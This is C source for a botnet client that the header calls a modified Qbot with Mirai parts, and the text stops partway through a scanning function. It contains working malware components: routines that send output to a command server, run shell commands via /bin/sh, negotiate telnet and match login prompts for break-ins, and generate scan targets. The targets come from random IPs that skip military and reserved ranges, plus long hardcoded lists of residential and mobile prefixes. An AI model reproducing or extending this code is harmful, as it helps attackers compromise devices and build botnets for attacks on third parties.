Bone-super-private-serverside

/*           Public Build of My Bot

`7MM"""Yp,   .g8""8q. `7MN.   `7MF'`7MM"""YMM   .M"""bgd
  MM    Yb .dP'    `YM. MMN.    M    MM    `7  ,MI    "Y
  MM    dP dM'      `MM M YMb   M    MM   d    `MMb.
  MM"""bg. MM        MM M  `MN. M    MMmmMM      `YMMNq.
  MM    `Y MM.      ,MP M   `MM.M    MM   Y  , .     `MM
  MM    ,9 `Mb.    ,dP' M     YMM    MM     ,M Mb     dM
.JMMmmmd9    `"bmmd"' .JML.    YM  .JMMmmmmMMM P"Ybmmd"

             [Qbot Modified By Cheats]

 Do not Send To ANYONE please i beg you not to,
 please delete it off your server after done cross compiling
*/
#include "new.h"
#define PR_SET_NAME 15
#define SERVER_LIST_SIZE (sizeof(D3cOdeMePlS) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
#define PHI 0x9e3779b9
//MIRAI
#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
typedef uint32_t ipv4_t;
//END OF MIRAI
int D1ckSucka = 0, D1ckSuckaz = -1, userID = 1, HackerPrint(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);
unsigned char macAddress[6] = {0};
uint32_t *pids;
uint32_t scanPid;
uint32_t Phonepid;
uint64_t numpids = 0;
struct in_addr ourIP;
static uint32_t Q[4096], c = 362436;
void makeRandomStr(unsigned char *buf, int length);
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
void trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char **str, int c)
{
if (str) {
**str = c;
++(*str);
}
else (void)write(1, &c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
}
for ( ; *string ; ++string) {
printchar (out, *string);
++pc;
}
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
}
else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, intptr_t );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int szprintf(unsigned char *out, const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( &out, format, args );
}
int zprintf(const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( 0, format, args );
}
int HackerPrint(int sock, char *formatStr, ...)
{
unsigned char *textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char *orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
//zprintf("buf: %s\n", orig);
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
static int *fdopen_pids;
int fdpopen(unsigned char *program, register unsigned char *type)
{
register int iop;
int pdes[2], fds, pid;
if (*type != 'r' && *type != 'w' || type[1]) return -1;
if (pipe(pdes) < 0) return -1;
if (fdopen_pids == NULL) {
if ((fds = getdtablesize()) <= 0) return -1;
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
}
switch (pid = vfork())
{
case -1:
close(pdes[0]);
close(pdes[1]);
return -1;
case 0:
if (*type == 'r') {
if (pdes[1] != 1) {
dup2(pdes[1], 1);
close(pdes[1]);
}
close(pdes[0]);
} else {
if (pdes[0] != 0) {
(void) dup2(pdes[0], 0);
(void) close(pdes[0]);
}
(void) close(pdes[1]);
}
execl("/bin/sh", "sh", "-c", program, NULL);
_exit(127);
}
if (*type == 'r') {
iop = pdes[0];
(void) close(pdes[1]);
} else {
iop = pdes[1];
(void) close(pdes[0]);
}
fdopen_pids[iop] = pid;
return (iop);
}
int fdpclose(int iop)
{
register int fdes;
sigset_t omask, nmask;
int pstat;
register int pid;
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
(void) close(iop);
sigemptyset(&nmask);
sigaddset(&nmask, SIGINT);
sigaddset(&nmask, SIGQUIT);
sigaddset(&nmask, SIGHUP);
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
do {
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
} while (pid == -1 && errno == EINTR);
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
fdopen_pids[fdes] = 0;
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
}
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int got = 1, total = 0;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got == 0 ? NULL : buffer;
}
static const long hextable[] = {
[0 ... 255] = -1,
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
['A'] = 10, 11, 12, 13, 14, 15,
['a'] = 10, 11, 12, 13, 14, 15
};
long parseHex(unsigned char *hex)
{
long ret = 0;
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
return ret;
}
int wildString(const unsigned char* pattern, const unsigned char* string) {
switch(*pattern)
{
case '\0': return *string;
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
case '?': return !(*string && !wildString(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
}
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
return 0;
}
void uppercase(unsigned char *str)
{
while(*str) { *str = toupper(*str); str++; }
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}
int recvLine(int socket, unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
struct timeval tv;
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
int selectRtn, retryCount;
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
while(retryCount < 10)
{
HackerPrint(D1ckSucka, "PING");
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
retryCount++;
continue;
}
break;
}
}
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while(bufsize-- > 1)
{
if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if(tmpchr == '\n') break;
count++;
}
*cp = 0x00;
// zprintf("recv: %s\n", cp);
return count;
}
int hostname_to_ip(char * hostname , char* ip)
{
struct hostent *he;
struct in_addr **addr_list;
int i;
if ( (he = gethostbyname( hostname ) ) == NULL)
{
// get the host info
herror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **) he->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{
//Return the first one;
strcpy(ip , inet_ntoa(*addr_list[i]) );
return 0;
}
return 1;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(host, &dest_addr.sin_addr)) return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0) {
if (errno == EINPROGRESS) {
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt) return 0;
}
else return 0;
}
else return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int listFork()
{
uint32_t parent, *newpids, i;
parent = fork();
if (parent <= 0) return parent;
numpids++;
newpids = (uint32_t*)malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
int negotiate(int sock, unsigned char *buf, int len)
{
unsigned char c;
switch (buf[1]) {
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
case CMD_WILL:
case CMD_WONT:
case CMD_DO:
case CMD_DONT:
c = CMD_IAC;
send(sock, &c, 1, MSG_NOSIGNAL);
if (CMD_WONT == buf[1]) c = CMD_DONT;
else if (CMD_DONT == buf[1]) c = CMD_WONT;
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
send(sock, &c, 1, MSG_NOSIGNAL);
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
break;
default:
break;
}
return 0;
}

int matchPrompt(char *bufStr)
{
char *prompts = ":>%$#\0";
int bufLen = strlen(bufStr);
int i, q = 0;
for(i = 0; i < strlen(prompts); i++)
{
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
}
return 0;
}
static ipv4_t get_random_ip(void)
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;

    do
    {
        tmp = rand_cmwc();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 208 && o2 > 67) ||                 // whole sale
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

char ip[16];
szprintf(ip, "%d.%d.%d.%d", o1,  o2, o3, o4);

    return INET_ADDR(o1,o2,o3,o4);
}

static uint8_t ipState[4] = {0};
in_addr_t HackerScan1()
{
ipState[0] = 0;
ipState[1] = 0;
ipState[2] = 0;
ipState[3] = 0;
ipState[0] = rand() % 223;
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
int randnum = rand() % 152;
char ip[16];
if(randnum == 0)
{
szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 1)
{
szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 2)
{
szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 3)
{
szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 4)
{
szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 5)
{
szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 6)
{
szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 7)
{
szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 8)
{
szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 9)
{
szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 10)
{
szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 11)
{
szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 12)
{
szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 13)
{
szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 14)
{
szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 15)
{
szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 16)
{
szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 17)
{
szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 18)
{
szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 19)
{
szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 20)
{
szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 21)
{
szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 22)
{
szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 23)
{
szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 24)
{
szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 25)
{
szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 26)
{
szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 27)
{
szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 28)
{
szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 29)
{
szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 30)
{
szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 31)
{
szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 32)
{
szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 33)
{
szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 34)
{
szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 34)
{
szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 35)
{
szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 36)
{
szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 37)
{
szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 38)
{
szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 39)
{
szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 40)
{
szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 41)
{
szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 42)
{
szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 43)
{
szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 44)
{
szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 45)
{
szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 46)
{
szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 47)
{
szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 48)
{
szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 49)
{
szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 50)
{
szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 51)
{
szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 52)
{
szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 53)
{
szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 54)
{
szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 55)
{
szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 56)
{
szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 57)
{
szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 58)
{
szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 59)
{
szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 60)
{
szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 61)
{
szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 62)
{
szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 63)
{
szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 64)
{
szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 65)
{
szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 66)
{
szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 67)
{
szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 68)
{
szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 69)
{
szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 70)
{
szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 71)
{
szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 72)
{
szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 73)
{
szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 74)
{
szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 75)
{
szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 76)
{
szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 77)
{
szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 78)
{
szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 79)
{
szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 80)
{
szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 81)
{
szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 82)
{
szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 83)
{
szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 84)
{
szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 85)
{
szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 86)
{
szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 87)
{
szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 88)
{
szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 89)
{
szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 90)
{
szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 91)
{
szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 92)
{
szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 93)
{
szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 94)
{
szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 95)
{
szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 96)
{
szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 97)
{
szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 98)
{
szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 99)
{
szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 100)
{
szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 101)
{
szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 102)
{
szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 103)
{
szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 104)
{
szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 105)
{
szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 106)
{
szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 107)
{
szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 108)
{
szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 109)
{
szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 110)
{
szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 111)
{
szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 112)
{
szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 113)
{
szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 114)
{
szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 115)
{
szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
}

if(randnum == 116)
{
szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 117)
{
szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 118)
{
szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 119)
{
szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 120)
{
szprintf(ip, "85.105.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 121)
{
szprintf(ip, "188.3.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 122)
{
szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 123)
{
szprintf(ip, "103.55.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 124)
{
szprintf(ip, "103.220.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 125)
{
szprintf(ip, "183.233.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 126)
{
szprintf(ip, "103.242.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 127)
{
szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 128)
{
szprintf(ip, "103.14.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 129)
{
szprintf(ip, "103.195.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 130)
{
szprintf(ip, "103.203.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 131)
{
szprintf(ip, "103.214.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 132)
{
szprintf(ip, "103.218.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 133)
{
szprintf(ip, "103.225.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 134)
{
szprintf(ip, "103.228.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 135)
{
szprintf(ip, "103.231.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 136)
{
szprintf(ip, "103.60.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 137)
{
szprintf(ip, "103.248.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 138)
{
szprintf(ip, "103.253.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 139)
{
szprintf(ip, "103.255.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 140)
{
szprintf(ip, "113.176.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 141)
{
szprintf(ip, "113.175.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 142)
{
szprintf(ip, "203.134.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 143)
{
szprintf(ip, "203.210.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 144)
{
szprintf(ip, "117.176.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 145)
{
szprintf(ip, "117.171.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 146)
{
szprintf(ip, "117.162.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 147)
{
szprintf(ip, "203.150.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 148)
{
szprintf(ip, "157.119.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 149)
{
szprintf(ip, "43.228.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 150)
{
szprintf(ip, "162.12.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 151)
{
szprintf(ip, "115.220.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 152)
{
szprintf(ip, "125.114.%d.%d", ipState[2], ipState[3]);
}

return inet_addr(ip);
}


in_addr_t PhoneScan()
{
ipState[0] = 0;
ipState[1] = 0;
ipState[2] = 0;
ipState[3] = 0;
ipState[0] = rand() % 255;
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
int randnum = rand() % 117;
char ip[16];
if(randnum == 0)
{
szprintf(ip, "119.157.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 1)
{
szprintf(ip, "119.150.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 2)
{
szprintf(ip, "119.151.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 3)
{
szprintf(ip, "119.152.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 4)
{
szprintf(ip, "119.153.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 5)
{
szprintf(ip, "119.154.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 6)
{
szprintf(ip, "119.155.%d.%d", ipState[2], ipState[3]);
}
if(randnum == 7)
{
szprintf(ip, "119.156.%d.%d", ipState[2], ipState[3]);
}
